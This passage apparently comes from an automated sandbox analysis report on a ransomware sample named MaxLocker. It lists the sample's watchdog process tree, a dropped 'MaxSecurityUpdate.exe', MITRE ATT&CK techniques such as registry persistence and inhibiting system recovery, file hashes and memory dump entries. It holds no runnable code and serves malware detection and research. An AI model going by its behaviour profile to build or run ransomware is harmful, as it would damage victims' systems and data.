  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3136 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1360
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5872
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5872 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5936
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2796
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2796 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5756
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5756 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3928
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2132 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5356
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5356 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2540
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:864
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 864 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4452
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4764
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4764 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3056
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1504
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1504 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5032

C:\Windows\system32\userinit.exe
C:\Windows\system32\userinit.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe
  C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5952

C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe
C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2156

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3024

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

MaxSecurityUpdate.exe

Path C:\Users\Admin\AppData\Roaming\MaxSecurity\MaxSecurityUpdate.exe
Size 3.9MB
SHA256 cf91a3970b44ca2db84e151f4f400dd43c5a04350ef14d96d2f507b5c0b538e5
MD5 56aee1466b11593944581663e03f2986
SHA1 c22f7b47af8b2d3b197cab449c664c47eb8422d6
SHA512 41cd5046283fb029a325e5f13d968d3ef99520d9c6cfce14a268bd2a9528de1435a14e7ed3c112390bb161cb7a6ba607ddece8f4d7f5388281cdc39720e989ad
SSDEEP 49152:BtSdkbEND/4VMVGg43oNFsjbZSYN8chhAe8bUItsIk1FCHdze2EACtbCnHxKIenP:z3bEN4OVu3eMNnAeum5bC9zHNibjPUX2
TLSH
T13916010F1340EA2EF8578D7924E30089E5A03FA79D24FDE8CE58F366E5739A657C6142
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3060-5-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-10-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-3-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-0-0x00007FFF2DB6F000-0x00007FFF2DB70000-memory.dmp

Download

memory/3060-4-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-6-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-2-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-7-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-11-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-8-0x00000285AF900000-0x00000285AF976000-memory.dmp

Download

memory/3060-12-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-1-0x0000028593140000-0x0000028593174000-memory.dmp

Download

memory/3060-25-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-23-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3060-24-0x00007FFF2D9E0000-0x00007FFF2E384000-memory.dmp

Download

memory/3160-21-0x000001709EFA0000-0x000001709EFC2000-memory.dmp

Download